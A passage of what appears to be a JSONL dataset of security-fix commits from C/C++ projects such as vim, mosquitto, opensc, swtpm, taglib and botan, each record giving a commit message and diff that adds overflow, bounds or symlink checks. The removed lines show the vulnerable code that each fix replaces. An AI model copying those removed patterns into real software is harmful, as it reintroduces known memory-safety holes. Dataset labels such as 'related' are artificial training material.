PJ_EINVALIDOP);\n- \n+\n+ /* The following calls to pj_ioqueue_unregister() will block the execution\n+ * if callback is still being called because allow_concurrent is false.\n+ * So it is safe to release the pool immediately after.\n+ */\n \n if (udp->rtp_key) {\n- /* This will block the execution if callback is still\n- * being called.\n- */\n pj_ioqueue_unregister(udp->rtp_key);\n udp->rtp_key = NULL;\n udp->rtp_sock = PJ_INVALID_SOCKET;\n", "related": false}, {"section": "@@ -459,6 +472,8 @@ static pj_status_t transport_destroy(pjmedia_transport *tp)\n udp->rtcp_sock = PJ_INVALID_SOCKET;\n }\n \n+ pj_grp_lock_dec_ref(tp->grp_lock);\n+\n PJ_LOG(4,(udp->base.name, \"UDP media transport destroyed\"));\n pj_pool_release(udp->pool);\n ", "related": false}]} +{"owner": "eclipse", "repo": "mosquitto", "language": "C", "file_name": "src/property_broker.c", "commit_id": "00b24e0eb0686e9a76feb71fdaee650cb7e612fa", "commit_message": "Fix memory leak when clients send v5 CONNECT packets.\n\nThis occurs when they have a will message that contains invalid property\ntypes.", "patch": "@@ -103,6 +103,7 @@ int property__process_will(struct mosquitto *context, struct mosquitto_message_a\n \t\t\t\tbreak;\n \n \t\t\tdefault:\n+\t\t\t\tmsg->properties = msg_properties;\n \t\t\t\treturn MOSQ_ERR_PROTOCOL;\n \t\t\t\tbreak;\n \t\t}", "sections": [{"section": "@@ -103,6 +103,7 @@ int property__process_will(struct mosquitto *context, struct mosquitto_message_a\n \t\t\t\tbreak;\n \n \t\t\tdefault:\n+\t\t\t\tmsg->properties = msg_properties;\n \t\t\t\treturn MOSQ_ERR_PROTOCOL;\n \t\t\t\tbreak;\n \t\t}", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/misc1.c", "commit_id": "73b2d3790cad5694fc0ed0db2926e4220c48d968", "commit_message": "patch 9.0.2111: [security]: overflow in get_number\n\nProblem: [security]: overflow in get_number\nSolution: Return 0 when the count gets too large\n\n[security]: overflow in get_number\n\nWhen using the z= command, we may overflow the count with values larger\nthan MAX_INT. So verify that we do not overflow and in case when an\noverflow is detected, simply return 0\n\nSigned-off-by: Christian Brabandt ", "patch": "@@ -975,6 +975,8 @@ get_number(\n \tc = safe_vgetc();\n \tif (VIM_ISDIGIT(c))\n \t{\n+\t if (n > INT_MAX / 10)\n+\t\treturn 0;\n \t n = n * 10 + c - '0';\n \t msg_putchar(c);\n \t ++typed;", "sections": [{"section": "@@ -975,6 +975,8 @@ get_number(\n \tc = safe_vgetc();\n \tif (VIM_ISDIGIT(c))\n \t{\n+\t if (n > INT_MAX / 10)\n+\t\treturn 0;\n \t n = n * 10 + c - '0';\n \t msg_putchar(c);\n \t ++typed;", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/version.c", "commit_id": "25aabc2b8ee1e19ced6f4da9d866cf9378fc4c5a", "commit_message": "patch 9.0.2106: [security]: Use-after-free in win_close()\n\nProblem: [security]: Use-after-free in win_close()\nSolution: Check window is valid, before accessing it\n\nIf the current window structure is no longer valid (because a previous\nautocommand has already freed this window), fail and return before\nattempting to set win->w_closing variable.\n\nAdd a test to trigger ASAN in CI\n\nSigned-off-by: Christian Brabandt ", "patch": "@@ -704,6 +704,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 2106,\n /**/\n 2105,\n /**/", "sections": [{"section": "@@ -704,6 +704,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 2106,\n /**/\n 2105,\n /**/", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-asepcos.c", "commit_id": "97c282e2c88a57cdf89cd37b1d36867864c78979", "commit_message": "Merge pull request #2807 from frankmorgner/piv-logout\n\nImplemented logout for some card drivers", "patch": "@@ -1050,6 +1050,20 @@ static int asepcos_card_reader_lock_obtained(sc_card_t *card, int was_reset)\n \tLOG_FUNC_RETURN(card->ctx, r);\n }\n \n+static int asepcos_logout(sc_card_t *card)\n+{\n+\tint r = SC_ERROR_NOT_SUPPORTED;\n+\n+\tSC_FUNC_CALLED(card->ctx, SC_LOG_DEBUG_VERBOSE);\n+\n+\tif (card->type == SC_CARD_TYPE_ASEPCOS_JAVA) {\n+\t\t/* in case of a Java card try to select the ASEPCOS applet */\n+\t\tr = asepcos_select_asepcos_applet(card);\n+\t}\n+\n+\tLOG_FUNC_RETURN(card->ctx, r);\n+}\n+\n static struct sc_card_driver * sc_get_driver(void)\n {\n \tif (iso_ops == NULL)\n@@ -1066,6 +1080,7 @@ static struct sc_card_driver * sc_get_driver(void)\n \tasepcos_ops.list_files = asepcos_list_files;\n \tasepcos_ops.card_ctl = asepcos_card_ctl;\n \tasepcos_ops.pin_cmd = asepcos_pin_cmd;\n+\tasepcos_ops.logout = asepcos_logout;\n \tasepcos_ops.card_reader_lock_obtained = asepcos_card_reader_lock_obtained;\n \n \treturn &asepcos_drv;", "sections": [{"section": "@@ -1050,6 +1050,20 @@ static int asepcos_card_reader_lock_obtained(sc_card_t *card, int was_reset)\n \tLOG_FUNC_RETURN(card->ctx, r);\n }\n \n+static int asepcos_logout(sc_card_t *card)\n+{\n+\tint r = SC_ERROR_NOT_SUPPORTED;\n+\n+\tSC_FUNC_CALLED(card->ctx, SC_LOG_DEBUG_VERBOSE);\n+\n+\tif (card->type == SC_CARD_TYPE_ASEPCOS_JAVA) {\n+\t\t/* in case of a Java card try to select the ASEPCOS applet */\n+\t\tr = asepcos_select_asepcos_applet(card);\n+\t}\n+\n+\tLOG_FUNC_RETURN(card->ctx, r);\n+}\n+\n static struct sc_card_driver * sc_get_driver(void)\n {\n \tif (iso_ops == NULL)\n", "related": false}, {"section": "@@ -1066,6 +1080,7 @@ static struct sc_card_driver * sc_get_driver(void)\n \tasepcos_ops.list_files = asepcos_list_files;\n \tasepcos_ops.card_ctl = asepcos_card_ctl;\n \tasepcos_ops.pin_cmd = asepcos_pin_cmd;\n+\tasepcos_ops.logout = asepcos_logout;\n \tasepcos_ops.card_reader_lock_obtained = asepcos_card_reader_lock_obtained;\n \n \treturn &asepcos_drv;", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/card-jpki.c", "commit_id": "97c282e2c88a57cdf89cd37b1d36867864c78979", "commit_message": "Merge pull request #2807 from frankmorgner/piv-logout\n\nImplemented logout for some card drivers", "patch": "@@ -361,6 +361,11 @@ static int jpki_card_reader_lock_obtained(sc_card_t *card, int was_reset)\n \tLOG_FUNC_RETURN(card->ctx, r);\n }\n \n+static int jpki_logout(sc_card_t *card)\n+{\n+\treturn jpki_select_ap(card);\n+}\n+\n static struct sc_card_driver *\n sc_get_driver(void)\n {\n@@ -375,6 +380,7 @@ sc_get_driver(void)\n \tjpki_ops.set_security_env = jpki_set_security_env;\n \tjpki_ops.compute_signature = jpki_compute_signature;\n \tjpki_ops.card_reader_lock_obtained = jpki_card_reader_lock_obtained;\n+\tjpki_ops.logout = jpki_logout;\n \n \treturn &jpki_drv;\n }", "sections": [{"section": "@@ -361,6 +361,11 @@ static int jpki_card_reader_lock_obtained(sc_card_t *card, int was_reset)\n \tLOG_FUNC_RETURN(card->ctx, r);\n }\n \n+static int jpki_logout(sc_card_t *card)\n+{\n+\treturn jpki_select_ap(card);\n+}\n+\n static struct sc_card_driver *\n sc_get_driver(void)\n {\n", "related": false}, {"section": "@@ -375,6 +380,7 @@ sc_get_driver(void)\n \tjpki_ops.set_security_env = jpki_set_security_env;\n \tjpki_ops.compute_signature = jpki_compute_signature;\n \tjpki_ops.card_reader_lock_obtained = jpki_card_reader_lock_obtained;\n+\tjpki_ops.logout = jpki_logout;\n \n \treturn &jpki_drv;\n }", "related": false}]} +{"owner": "stefanberger", "repo": "swtpm", "language": "C", "file_name": "src/swtpm_cert/ek-cert.c", "commit_id": "e9c9778d5c35ef077aed1ec6601b47ac478f8185", "commit_message": "swtpm_cert: Switch to open() from fopen() for writing certificate\n\nSwitch to open from fopen() and make sure we do not follow symlinks.\n\nSigned-off-by: Stefan Berger ", "patch": "@@ -51,6 +51,7 @@\n #include \n #include \n #include \n+#include \n \n #include \n \n@@ -1010,7 +1011,7 @@ main(int argc, char *argv[])\n unsigned long long serial = 1;\n time_t now;\n int err;\n- FILE *cert_file;\n+ int cert_file_fd;\n const char *subject = NULL;\n const char *error = NULL;\n int days = 365;\n@@ -1695,8 +1696,9 @@ if (_err != GNUTLS_E_SUCCESS) { \\\n ? GNUTLS_X509_FMT_PEM\n : GNUTLS_X509_FMT_DER, &out);\n if (cert_filename) {\n- cert_file = fopen(cert_filename, \"wb\");\n- if (cert_file == NULL) {\n+ cert_file_fd = open(cert_filename, O_WRONLY|O_CREAT|O_TRUNC|O_NOFOLLOW,\n+ S_IRUSR|S_IWUSR);\n+ if (cert_file_fd < 0) {\n fprintf(stderr, \"Could not open %s for writing the certificate: %s\\n\",\n cert_filename,\n strerror(errno));\n@@ -1711,22 +1713,22 @@ if (_err != GNUTLS_E_SUCCESS) { \\\n },\n .tag = htobe16(TCG_TAG_PCCLIENT_FULL_CERT),\n };\n- if (sizeof(hdr) != fwrite(&hdr, 1, sizeof(hdr), cert_file)) {\n+ if (sizeof(hdr) != write(cert_file_fd, &hdr, sizeof(hdr))) {\n fprintf(stderr, \"Could not write certificate header: %s\\n\",\n strerror(errno));\n- fclose(cert_file);\n+ close(cert_file_fd);\n unlink(cert_filename);\n goto cleanup;\n }\n }\n- if (out.size != fwrite(out.data, 1, out.size, cert_file)) {\n+ if ((ssize_t)out.size != write(cert_file_fd, out.data, out.size)) {\n fprintf(stderr, \"Could not write certificate into file: %s\\n\",\n strerror(errno));\n- fclose(cert_file);\n+ close(cert_file_fd);\n unlink(cert_filename);\n goto cleanup;\n }\n- fclose(cert_file);\n+ close(cert_file_fd);\n } else {\n fprintf(stdout, \"%s\\n\", out.data);\n }", "sections": [{"section": "@@ -51,6 +51,7 @@\n #include \n #include \n #include \n+#include \n \n #include \n \n", "related": false}, {"section": "@@ -1010,7 +1011,7 @@ main(int argc, char *argv[])\n unsigned long long serial = 1;\n time_t now;\n int err;\n- FILE *cert_file;\n+ int cert_file_fd;\n const char *subject = NULL;\n const char *error = NULL;\n int days = 365;\n", "related": false}, {"section": "@@ -1695,8 +1696,9 @@ if (_err != GNUTLS_E_SUCCESS) { \\\n ? GNUTLS_X509_FMT_PEM\n : GNUTLS_X509_FMT_DER, &out);\n if (cert_filename) {\n- cert_file = fopen(cert_filename, \"wb\");\n- if (cert_file == NULL) {\n+ cert_file_fd = open(cert_filename, O_WRONLY|O_CREAT|O_TRUNC|O_NOFOLLOW,\n+ S_IRUSR|S_IWUSR);\n+ if (cert_file_fd < 0) {\n fprintf(stderr, \"Could not open %s for writing the certificate: %s\\n\",\n cert_filename,\n strerror(errno));\n", "related": false}, {"section": "@@ -1711,22 +1713,22 @@ if (_err != GNUTLS_E_SUCCESS) { \\\n },\n .tag = htobe16(TCG_TAG_PCCLIENT_FULL_CERT),\n };\n- if (sizeof(hdr) != fwrite(&hdr, 1, sizeof(hdr), cert_file)) {\n+ if (sizeof(hdr) != write(cert_file_fd, &hdr, sizeof(hdr))) {\n fprintf(stderr, \"Could not write certificate header: %s\\n\",\n strerror(errno));\n- fclose(cert_file);\n+ close(cert_file_fd);\n unlink(cert_filename);\n goto cleanup;\n }\n }\n- if (out.size != fwrite(out.data, 1, out.size, cert_file)) {\n+ if ((ssize_t)out.size != write(cert_file_fd, out.data, out.size)) {\n fprintf(stderr, \"Could not write certificate into file: %s\\n\",\n strerror(errno));\n- fclose(cert_file);\n+ close(cert_file_fd);\n unlink(cert_filename);\n goto cleanup;\n }\n- fclose(cert_file);\n+ close(cert_file_fd);\n } else {\n fprintf(stdout, \"%s\\n\", out.data);\n }", "related": false}]} +{"owner": "taglib", "repo": "taglib", "language": "C++", "file_name": "taglib/toolkit/tbytevector.cpp", "commit_id": "dcdf4fd954e3213c355746fa15b7480461972308", "commit_message": "Avoid uint overflow in case the length + index is over UINT_MAX", "patch": "@@ -363,7 +363,7 @@ ByteVector ByteVector::mid(uint index, uint length) const\n \n ConstIterator endIt;\n \n- if(length < 0xffffffff && length + index < size())\n+ if(length < size() - index)\n endIt = d->data.begin() + index + length;\n else\n endIt = d->data.end();", "sections": [{"section": "@@ -363,7 +363,7 @@ ByteVector ByteVector::mid(uint index, uint length) const\n \n ConstIterator endIt;\n \n- if(length < 0xffffffff && length + index < size())\n+ if(length < size() - index)\n endIt = d->data.begin() + index + length;\n else\n endIt = d->data.end();", "related": false}]} +{"owner": "quassel", "repo": "quassel", "language": "C", "file_name": "src/core/corebasichandler.h", "commit_id": "b5e38970ffd55e2dd9f706ce75af9a8d7730b1b8", "commit_message": "Improve the message-splitting algorithm for PRIVMSG and CTCP\n\nThis introduces a new message splitting algorithm based on\nQTextBoundaryFinder. It works by first starting with the entire\nmessage to be sent, encoding it, and checking to see if it is over\nthe maximum message length. If it is, it uses QTBF to find the\nword boundary most immediately preceding the maximum length. If no\nsuitable boundary can be found, it falls back to searching for\ngrapheme boundaries. It repeats this process until the entire\nmessage has been sent.\n\nUnlike what it replaces, the new splitting code is not recursive\nand cannot cause stack overflows. Additionally, if it is unable\nto split a string, it will give up gracefully and not crash the\ncore or cause a thread to run away.\n\nThis patch fixes two bugs. The first is garbage characters caused\nby accidentally splitting the string in the middle of a multibyte\ncharacter. Since the new code splits at a character level instead\nof a byte level, this will no longer be an issue. The second is\nthe core crash caused by sending an overlength CTCP query (\"/me\")\ncontaining only multibyte characters. This bug was caused by the\nold CTCP splitter using the byte index from lastParamOverrun() as\na character index for a QString.", "patch": "@@ -55,6 +55,7 @@ class CoreBasicHandler : public BasicHandler\n signals:\n void displayMsg(Message::Type, BufferInfo::Type, const QString &target, const QString &text, const QString &sender = \"\", Message::Flags flags = Message::None);\n void putCmd(const QString &cmd, const QList ¶ms, const QByteArray &prefix = QByteArray());\n+ void putCmd(const QString &cmd, const QList> ¶ms, const QByteArray &prefix = QByteArray());\n void putRawLine(const QByteArray &msg);\n \n protected:", "sections": [{"section": "@@ -55,6 +55,7 @@ class CoreBasicHandler : public BasicHandler\n signals:\n void displayMsg(Message::Type, BufferInfo::Type, const QString &target, const QString &text, const QString &sender = \"\", Message::Flags flags = Message::None);\n void putCmd(const QString &cmd, const QList ¶ms, const QByteArray &prefix = QByteArray());\n+ void putCmd(const QString &cmd, const QList> ¶ms, const QByteArray &prefix = QByteArray());\n void putRawLine(const QByteArray &msg);\n \n protected:", "related": false}]} +{"owner": "quassel", "repo": "quassel", "language": "C++", "file_name": "src/core/coreuserinputhandler.cpp", "commit_id": "b5e38970ffd55e2dd9f706ce75af9a8d7730b1b8", "commit_message": "Improve the message-splitting algorithm for PRIVMSG and CTCP\n\nThis introduces a new message splitting algorithm based on\nQTextBoundaryFinder. It works by first starting with the entire\nmessage to be sent, encoding it, and checking to see if it is over\nthe maximum message length. If it is, it uses QTBF to find the\nword boundary most immediately preceding the maximum length. If no\nsuitable boundary can be found, it falls back to searching for\ngrapheme boundaries. It repeats this process until the entire\nmessage has been sent.\n\nUnlike what it replaces, the new splitting code is not recursive\nand cannot cause stack overflows. Additionally, if it is unable\nto split a string, it will give up gracefully and not crash the\ncore or cause a thread to run away.\n\nThis patch fixes two bugs. The first is garbage characters caused\nby accidentally splitting the string in the middle of a multibyte\ncharacter. Since the new code splits at a character level instead\nof a byte level, this will no longer be an issue. The second is\nthe core crash caused by sending an overlength CTCP query (\"/me\")\ncontaining only multibyte characters. This bug was caused by the\nold CTCP splitter using the byte index from lastParamOverrun() as\na character index for a QString.", "patch": "@@ -473,12 +473,16 @@ void CoreUserInputHandler::handleMsg(const BufferInfo &bufferInfo, const QString\n return;\n \n QString target = msg.section(' ', 0, 0);\n- QByteArray encMsg = userEncode(target, msg.section(' ', 1));\n+ QString msgSection = msg.section(' ', 1);\n+\n+ std::function encodeFunc = [this] (const QString &target, const QString &message) -> QByteArray {\n+ return userEncode(target, message);\n+ };\n \n #ifdef HAVE_QCA2\n- putPrivmsg(serverEncode(target), encMsg, network()->cipher(target));\n+ putPrivmsg(target, msgSection, encodeFunc, network()->cipher(target));\n #else\n- putPrivmsg(serverEncode(target), encMsg);\n+ putPrivmsg(target, msgSection, encodeFunc);\n #endif\n }\n \n@@ -594,11 +598,14 @@ void CoreUserInputHandler::handleSay(const BufferInfo &bufferInfo, const QString\n if (bufferInfo.bufferName().isEmpty() || !bufferInfo.acceptsRegularMessages())\n return; // server buffer\n \n- QByteArray encMsg = channelEncode(bufferInfo.bufferName(), msg);\n+ std::function encodeFunc = [this] (const QString &target, const QString &message) -> QByteArray {\n+ return channelEncode(target, message);\n+ };\n+\n #ifdef HAVE_QCA2\n- putPrivmsg(serverEncode(bufferInfo.bufferName()), encMsg, network()->cipher(bufferInfo.bufferName()));\n+ putPrivmsg(bufferInfo.bufferName(), msg, encodeFunc, network()->cipher(bufferInfo.bufferName()));\n #else\n- putPrivmsg(serverEncode(bufferInfo.bufferName()), encMsg);\n+ putPrivmsg(bufferInfo.bufferName(), msg, encodeFunc);\n #endif\n emit displayMsg(Message::Plain, bufferInfo.type(), bufferInfo.bufferName(), msg, network()->myNick(), Message::Self);\n }\n@@ -763,56 +770,23 @@ void CoreUserInputHandler::defaultHandler(QString cmd, const BufferInfo &bufferI\n }\n \n \n-void CoreUserInputHandler::putPrivmsg(const QByteArray &target, const QByteArray &message, Cipher *cipher)\n+void CoreUserInputHandler::putPrivmsg(const QString &target, const QString &message, std::function encodeFunc, Cipher *cipher)\n {\n- // Encrypted messages need special care. There's no clear relation between cleartext and encrypted message length,\n- // so we can't just compute the maxSplitPos. Instead, we need to loop through the splitpoints until the crypted\n- // version is short enough...\n- // TODO: check out how the various possible encryption methods behave length-wise and make\n- // this clean by predicting the length of the crypted msg.\n- // For example, blowfish-ebc seems to create 8-char chunks.\n+ QString cmd(\"PRIVMSG\");\n+ QByteArray targetEnc = serverEncode(target);\n \n- static const char *cmd = \"PRIVMSG\";\n- static const char *splitter = \" .,-!?\";\n+ std::function(QString &)> cmdGenerator = [&] (QString &splitMsg) -> QList {\n+ QByteArray splitMsgEnc = encodeFunc(target, splitMsg);\n \n- int maxSplitPos = message.count();\n- int splitPos = maxSplitPos;\n- forever {\n- QByteArray crypted = message.left(splitPos);\n- bool isEncrypted = false;\n #ifdef HAVE_QCA2\n- if (cipher && !cipher->key().isEmpty() && !message.isEmpty()) {\n- isEncrypted = cipher->encrypt(crypted);\n+ if (cipher && !cipher->key().isEmpty() && !splitMsg.isEmpty()) {\n+ cipher->encrypt(splitMsgEnc);\n }\n #endif\n- int overrun = lastParamOverrun(cmd, QList() << target << crypted);\n- if (overrun) {\n- // In case this is not an encrypted msg, we can just cut off at the end\n- if (!isEncrypted)\n- maxSplitPos = message.count() - overrun;\n-\n- splitPos = -1;\n- for (const char *splitChar = splitter; *splitChar != 0; splitChar++) {\n- splitPos = qMax(splitPos, message.lastIndexOf(*splitChar, maxSplitPos) + 1); // keep split char on old line\n- }\n- if (splitPos <= 0 || splitPos > maxSplitPos)\n- splitPos = maxSplitPos;\n-\n- maxSplitPos = splitPos - 1;\n- if (maxSplitPos <= 0) { // this should never happen, but who knows...\n- qWarning() << tr(\"[Error] Could not encrypt your message: %1\").arg(message.data());\n- return;\n- }\n- continue; // we never come back here for !encrypted!\n- }\n-\n- // now we have found a valid splitpos (or didn't need to split to begin with)\n- putCmd(cmd, QList() << target << crypted);\n- if (splitPos < message.count())\n- putPrivmsg(target, message.mid(splitPos), cipher);\n+ return QList() << targetEnc << splitMsgEnc;\n+ };\n \n- return;\n- }\n+ putCmd(cmd, network()->splitMessage(cmd, message, cmdGenerator));\n }\n \n ", "sections": [{"section": "@@ -473,12 +473,16 @@ void CoreUserInputHandler::handleMsg(const BufferInfo &bufferInfo, const QString\n return;\n \n QString target = msg.section(' ', 0, 0);\n- QByteArray encMsg = userEncode(target, msg.section(' ', 1));\n+ QString msgSection = msg.section(' ', 1);\n+\n+ std::function encodeFunc = [this] (const QString &target, const QString &message) -> QByteArray {\n+ return userEncode(target, message);\n+ };\n \n #ifdef HAVE_QCA2\n- putPrivmsg(serverEncode(target), encMsg, network()->cipher(target));\n+ putPrivmsg(target, msgSection, encodeFunc, network()->cipher(target));\n #else\n- putPrivmsg(serverEncode(target), encMsg);\n+ putPrivmsg(target, msgSection, encodeFunc);\n #endif\n }\n \n", "related": false}, {"section": "@@ -594,11 +598,14 @@ void CoreUserInputHandler::handleSay(const BufferInfo &bufferInfo, const QString\n if (bufferInfo.bufferName().isEmpty() || !bufferInfo.acceptsRegularMessages())\n return; // server buffer\n \n- QByteArray encMsg = channelEncode(bufferInfo.bufferName(), msg);\n+ std::function encodeFunc = [this] (const QString &target, const QString &message) -> QByteArray {\n+ return channelEncode(target, message);\n+ };\n+\n #ifdef HAVE_QCA2\n- putPrivmsg(serverEncode(bufferInfo.bufferName()), encMsg, network()->cipher(bufferInfo.bufferName()));\n+ putPrivmsg(bufferInfo.bufferName(), msg, encodeFunc, network()->cipher(bufferInfo.bufferName()));\n #else\n- putPrivmsg(serverEncode(bufferInfo.bufferName()), encMsg);\n+ putPrivmsg(bufferInfo.bufferName(), msg, encodeFunc);\n #endif\n emit displayMsg(Message::Plain, bufferInfo.type(), bufferInfo.bufferName(), msg, network()->myNick(), Message::Self);\n }\n", "related": false}, {"section": "@@ -763,56 +770,23 @@ void CoreUserInputHandler::defaultHandler(QString cmd, const BufferInfo &bufferI\n }\n \n \n-void CoreUserInputHandler::putPrivmsg(const QByteArray &target, const QByteArray &message, Cipher *cipher)\n+void CoreUserInputHandler::putPrivmsg(const QString &target, const QString &message, std::function encodeFunc, Cipher *cipher)\n {\n- // Encrypted messages need special care. There's no clear relation between cleartext and encrypted message length,\n- // so we can't just compute the maxSplitPos. Instead, we need to loop through the splitpoints until the crypted\n- // version is short enough...\n- // TODO: check out how the various possible encryption methods behave length-wise and make\n- // this clean by predicting the length of the crypted msg.\n- // For example, blowfish-ebc seems to create 8-char chunks.\n+ QString cmd(\"PRIVMSG\");\n+ QByteArray targetEnc = serverEncode(target);\n \n- static const char *cmd = \"PRIVMSG\";\n- static const char *splitter = \" .,-!?\";\n+ std::function(QString &)> cmdGenerator = [&] (QString &splitMsg) -> QList {\n+ QByteArray splitMsgEnc = encodeFunc(target, splitMsg);\n \n- int maxSplitPos = message.count();\n- int splitPos = maxSplitPos;\n- forever {\n- QByteArray crypted = message.left(splitPos);\n- bool isEncrypted = false;\n #ifdef HAVE_QCA2\n- if (cipher && !cipher->key().isEmpty() && !message.isEmpty()) {\n- isEncrypted = cipher->encrypt(crypted);\n+ if (cipher && !cipher->key().isEmpty() && !splitMsg.isEmpty()) {\n+ cipher->encrypt(splitMsgEnc);\n }\n #endif\n- int overrun = lastParamOverrun(cmd, QList() << target << crypted);\n- if (overrun) {\n- // In case this is not an encrypted msg, we can just cut off at the end\n- if (!isEncrypted)\n- maxSplitPos = message.count() - overrun;\n-\n- splitPos = -1;\n- for (const char *splitChar = splitter; *splitChar != 0; splitChar++) {\n- splitPos = qMax(splitPos, message.lastIndexOf(*splitChar, maxSplitPos) + 1); // keep split char on old line\n- }\n- if (splitPos <= 0 || splitPos > maxSplitPos)\n- splitPos = maxSplitPos;\n-\n- maxSplitPos = splitPos - 1;\n- if (maxSplitPos <= 0) { // this should never happen, but who knows...\n- qWarning() << tr(\"[Error] Could not encrypt your message: %1\").arg(message.data());\n- return;\n- }\n- continue; // we never come back here for !encrypted!\n- }\n-\n- // now we have found a valid splitpos (or didn't need to split to begin with)\n- putCmd(cmd, QList() << target << crypted);\n- if (splitPos < message.count())\n- putPrivmsg(target, message.mid(splitPos), cipher);\n+ return QList() << targetEnc << splitMsgEnc;\n+ };\n \n- return;\n- }\n+ putCmd(cmd, network()->splitMessage(cmd, message, cmdGenerator));\n }\n \n ", "related": false}]} +{"owner": "zeromq", "repo": "zeromq4-x", "language": "C++", "file_name": "src/session_base.cpp", "commit_id": "b6e3e0f601e2c1ec1f3aac880ed6a3fe63043e51", "commit_message": "Merge pull request #101 from hintjens/master\n\nProblem: issue #1273, protocol downgrade attack", "patch": "@@ -323,6 +323,14 @@ int zmq::session_base_t::zap_connect ()\n return 0;\n }\n \n+bool zmq::session_base_t::zap_enabled ()\n+{\n+ return (\n+ options.mechanism != ZMQ_NULL ||\n+ (options.mechanism == ZMQ_NULL && options.zap_domain.length() > 0)\n+ );\n+}\n+\n void zmq::session_base_t::process_attach (i_engine *engine_)\n {\n zmq_assert (engine_ != NULL);", "sections": [{"section": "@@ -323,6 +323,14 @@ int zmq::session_base_t::zap_connect ()\n return 0;\n }\n \n+bool zmq::session_base_t::zap_enabled ()\n+{\n+ return (\n+ options.mechanism != ZMQ_NULL ||\n+ (options.mechanism == ZMQ_NULL && options.zap_domain.length() > 0)\n+ );\n+}\n+\n void zmq::session_base_t::process_attach (i_engine *engine_)\n {\n zmq_assert (engine_ != NULL);", "related": false}]} +{"owner": "matroska-org", "repo": "libmatroska", "language": "C++", "file_name": "src/KaxBlock.cpp", "commit_id": "0a2d3e3644a7453b6513db2f9bc270f77943573f", "commit_message": "KaxBlockInternal: check EBML lace sizes against available buffer space", "patch": "@@ -529,6 +529,8 @@ filepos_t KaxInternalBlock::ReadData(IOCallback & input, ScopeMode ReadFully)\n case LACING_EBML:\n SizeRead = LastBufferSize;\n FrameSize = ReadCodedSizeValue(BufferStart + Mem.GetPosition(), SizeRead, SizeUnknown);\n+ if (!FrameSize || (static_cast(FrameSize + SizeRead) > LastBufferSize))\n+ throw SafeReadIOCallback::EndOfStreamX(SizeRead);\n SizeList[0] = FrameSize;\n Mem.Skip(SizeRead);\n LastBufferSize -= FrameSize + SizeRead;\n@@ -537,6 +539,8 @@ filepos_t KaxInternalBlock::ReadData(IOCallback & input, ScopeMode ReadFully)\n // get the size of the frame\n SizeRead = LastBufferSize;\n FrameSize += ReadCodedSizeSignedValue(BufferStart + Mem.GetPosition(), SizeRead, SizeUnknown);\n+ if (!FrameSize || (static_cast(FrameSize + SizeRead) > LastBufferSize))\n+ throw SafeReadIOCallback::EndOfStreamX(SizeRead);\n SizeList[Index] = FrameSize;\n Mem.Skip(SizeRead);\n LastBufferSize -= FrameSize + SizeRead;", "sections": [{"section": "@@ -529,6 +529,8 @@ filepos_t KaxInternalBlock::ReadData(IOCallback & input, ScopeMode ReadFully)\n case LACING_EBML:\n SizeRead = LastBufferSize;\n FrameSize = ReadCodedSizeValue(BufferStart + Mem.GetPosition(), SizeRead, SizeUnknown);\n+ if (!FrameSize || (static_cast(FrameSize + SizeRead) > LastBufferSize))\n+ throw SafeReadIOCallback::EndOfStreamX(SizeRead);\n SizeList[0] = FrameSize;\n Mem.Skip(SizeRead);\n LastBufferSize -= FrameSize + SizeRead;\n", "related": false}, {"section": "@@ -537,6 +539,8 @@ filepos_t KaxInternalBlock::ReadData(IOCallback & input, ScopeMode ReadFully)\n // get the size of the frame\n SizeRead = LastBufferSize;\n FrameSize += ReadCodedSizeSignedValue(BufferStart + Mem.GetPosition(), SizeRead, SizeUnknown);\n+ if (!FrameSize || (static_cast(FrameSize + SizeRead) > LastBufferSize))\n+ throw SafeReadIOCallback::EndOfStreamX(SizeRead);\n SizeList[Index] = FrameSize;\n Mem.Skip(SizeRead);\n LastBufferSize -= FrameSize + SizeRead;", "related": false}]} +{"owner": "randombit", "repo": "botan", "language": "C", "file_name": "src/lib/utils/safeint.h", "commit_id": "987ad747db6d0d7e36f840398f3cf02e2fbfd90f", "commit_message": "Fix BER decoder integer overflow", "patch": "@@ -0,0 +1,39 @@\n+/*\n+* Safe(r) Integer Handling\n+* (C) 2016 Jack Lloyd\n+*\n+* Botan is released under the Simplified BSD License (see license.txt)\n+*/\n+\n+#ifndef BOTAN_UTILS_SAFE_INT_H__\n+#define BOTAN_UTILS_SAFE_INT_H__\n+\n+#include \n+#include \n+\n+namespace Botan {\n+\n+class Integer_Overflow_Detected : public Exception\n+ {\n+ public:\n+ Integer_Overflow_Detected(const std::string& file, int line) :\n+ Exception(\"Integer overflow detected at \" + file + \":\" + std::to_string(line))\n+ {}\n+ };\n+\n+inline size_t checked_add(size_t x, size_t y, const char* file, int line)\n+ {\n+ // TODO: use __builtin_x_overflow on GCC and Clang\n+ size_t z = x + y;\n+ if(z < x)\n+ {\n+ throw Integer_Overflow_Detected(file, line);\n+ }\n+ return z;\n+ }\n+\n+#define BOTAN_CHECKED_ADD(x,y) checked_add(x,y,__FILE__,__LINE__)\n+\n+}\n+\n+#endif", "sections": [{"section": "@@ -0,0 +1,39 @@\n+/*\n+* Safe(r) Integer Handling\n+* (C) 2016 Jack Lloyd\n+*\n+* Botan is released under the Simplified BSD License (see license.txt)\n+*/\n+\n+#ifndef BOTAN_UTILS_SAFE_INT_H__\n+#define BOTAN_UTILS_SAFE_INT_H__\n+\n+#include \n+#include \n+\n+namespace Botan {\n+\n+class Integer_Overflow_Detected : public Exception\n+ {\n+ public:\n+ Integer_Overflow_Detected(const std::string& file, int line) :\n+ Exception(\"Integer overflow detected at \" + file + \":\" + std::to_string(line))\n+ {}\n+ };\n+\n+inline size_t checked_add(size_t x, size_t y, const char* file, int line)\n+ {\n+ // TODO: use __builtin_x_overflow on GCC and Clang\n+ size_t z = x + y;\n+ if(z < x)\n+ {\n+ throw Integer_Overflow_Detected(file, line);\n+ }\n+ return z;\n+ }\n+\n+#define BOTAN_CHECKED_ADD(x,y) checked_add(x,y,__FILE__,__LINE__)\n+\n+}\n+\n+#endif", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C++", "file_name": "Magick++/lib/Exception.cpp", "commit_id": 